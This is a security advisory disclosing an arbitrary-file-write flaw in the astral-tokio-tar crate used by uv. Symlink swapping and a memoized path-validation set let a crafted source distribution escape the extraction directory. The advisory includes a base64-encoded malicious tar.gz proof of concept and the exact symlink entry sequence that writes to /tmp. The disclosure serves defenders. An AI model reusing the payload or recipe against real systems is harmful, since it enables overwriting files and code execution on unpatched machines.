"astral-tokio-tar", a Rust crate used by the popular tool "uv", has a vulnerability that allows arbitrary file writes when unpacking tar files. In "uv" this vulnerability allows a Python source distribution to write anywhere during extraction.
This vulnerability is primarily due to astral-tokio-tar's support of symlinks and the "memoized set" behavior that skips path validation on previously observed and validated paths.
Since a symlink can point to a directory, and can be changed by having multiple entries in the tar file, it is possible to create a symlink to a benign directory under the destination path, have it validated, added to the memoized set, and then change the symlink to another arbitrary directory anywhere on disk.
Additionally a symlink that points to an arbitrary directory and bypasses any validation can be created by using two symlinks, where the first symlink created depends on the second symlink to bypass validation.
This vulnerability allows an attacker to generate tar files that can create or change arbitrary files on the filesystem.
Medium - Due to the potential for arbitrary code execution.
mkdir /tmp/flag $ echo "hello" > /tmp/flag/flag $ ls /tmp/flag flag $ echo "H4sICOmxkWgCA2R1bW15cGFja2FnZS0wLjAuMS50YXIA7Zhra9swGIX92b9C86cNGsWSZasLbeku7MJYVxjsSwlBSdTUm29znLZh7L9PcrIm3ZousNQN7XkIsZFesMl5j44U2qbtw2N1+U6roS6dO8Gfserq+4FY3Ntx5nPGHXLpNMBkXKnSPN55nPBdklZxqveZDEUgpdiVNOAB5xF3HfDgGU7SdFqowTc10i2f+pS1l4favV6cxVWvR4vpf/k/EmK1/5l0WOgLEfBImHufhZFkDvHh/zunKOOseuq9tpp7z2D5xwbdivwP/s5/hvxvJP/l9fwPeUDl8yiUu1gLHmn+F9OizL/qQUWrPE025P/b8j8IxSL/I1PHhF0SkP8NcNKfxMmwNZ6OK5123VJ/n8SlHpN9cuKdJmbnN8hLTQ72A8p39oTXdWf1fdMxOhuaskUVradUEXuuezJvoa6bqVTbsuVG81w1qc7ysn7Mj98Vr1Si++RlmV9k3g7RqYoTOzyww307ejjK81Gi6SBPvZ9d91yX4zjPbE3duJ471ONBGRfVfNQIOybKvP6ZKofmpeD2tfx//OFt6/3Rm08bzf/b/M999kf+cxYI+L8JPupKDVWlWl9mbuoQToV7ZCzZIcu94V7N103ifjZzqpx2yDWTuS9qX7dq83bIkqPJ3o0+PoApt+/8rwf5tL3h/b/ZWTr1ST9k8yu/5vlZ/ge+YOYswKJAcIeETfp/0Z431/1r/gHt/6oNnwNn+sv19A/t/k/6LHQIrzsR+jev/+w/wI3mfyTW018yqz9jTec/9N8K/0e+Wf8DLiLr/yzPi/a6X5Su/FRp0T5N1Aj6r6O//TXvSX8ujfQ2/zmTRn8K/9/T+r/KLXez/jN+5X/JudU/klj/GyE/1+VFGVcaBzGc/xb+z/TFaZzopvzPFv4PrP+lwP6vGeZCP4H9AQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADYfn4BXGg1JABQAAA=" | base64 -d > dummypackage-0.0.1.tar.gz $ mkdir test $ cd test $ uv venv env $ . env/bin/activate $ uv pip install ../[dummypackage-0.0.1.tar.gz](http://dummypackage-0.0.1.tar.gz/) Using Python 3.12.3 environment at: env Resolved 1 package in 5ms Built dummypackage @ file:///home/calebbrown/dummypackage-0.0.1.tar.gz Prepared 1 package in 474ms Installed 1 package in 0.95ms + dummypackage==0.0.1 (from file:///home/calebbrown/dummypackage-0.0.1.tar.gz) $ ls /tmp/flag flag newfile $ cat /tmp/flag/flag overwrite $ cat /tmp/flag/newfile newfile!
The "astral-tokio-tar" method Entry.unpack_in_raw() was added to the library in v0.5.0 to allow a memoized set to be passed in as an argument, to improve the performance of filesystem operations.
In "uv", the method untar_in() in uv-extract creates a memoized set and uses the same set while extracting every entry in a tar file with Entry.unpack_in_raw().
The memoized set is used in EntryFields.unpack_in() with the following logic:
// Validate the parent, if we haven't seen it yet. if !memo.contains(parent) { self.ensure_dir_created(dst, parent).await.map_err(|e| { TarError::new(format!("failed to create `{}`", parent.display()), e) })?; self.validate_inside_dst(dst, parent).await?; memo.insert(parent.to_path_buf()); }
In this context parent is the parent directory for the entry currently being extracted. So, if file_dst is "path/to/file.txt" then parent would be "path/to".
The call to self.validate_inside_dst(dst, parent) is only made if parent is not yet in memo.
We can use a symlink to change the effective parent, after it has been added to memo.
Symlinks allow other paths to be referred to indirectly using a file-like object. This means that a path, using a symlink can have a parent that passes the validation, populating parent in memo.
The symlink can then be replaced with another symlink, and since the name of the symlink has not changed, the check is now skipped.
astral-tokio-tar has a check guarded by the allow_external_symlinks flag that attempts to ensure that symlinks do not point outside the destination directory dst. However, this check can also be bypassed by creating the two symlinks below in order:
"ptr" -> "noop/noop/noop/noop/noop/noop/noop/noop/noop/../../../../../../../../../tmp"
"noop" -> "."
2. This path also passes the symlink check as it evaluates to the destination directory.
After they have both been created "ptr" now effectively points to "./../../../../../../../../../tmp", which is likely outside the destination directory.
The following tar entries can now be used for arbitrary writes:
"decoy".
"ptr" -> "decoy"."{dst}/ptr" is created."ptr/dummy"."{dst}/ptr/dummy" is extracted (i.e "{dst}/decoy/dummy")."{dst}/ptr" to be inserted into memo."ptr" -> "noop/noop/noop/noop/noop/noop/noop/noop/noop/../../../../../../../../../tmp"."{dst}/ptr" is replaced."noop" -> "."."{dst}/noop" is created."ptr" now points to "{dst}/./../../../../../../../../../tmp"."ptr/payload"."{dst}/ptr/payload" is extracted (i.e. "/tmp/payload")."{dst}/ptr" is skipped as it has already been added to memo.GHSA-7j9j-68r2-f35q
GHSA-3wgq-wrwc-vqmv
Date reported: 08/11/2025
Date fixed: 09/23/2025
Date disclosed: 11/17/2025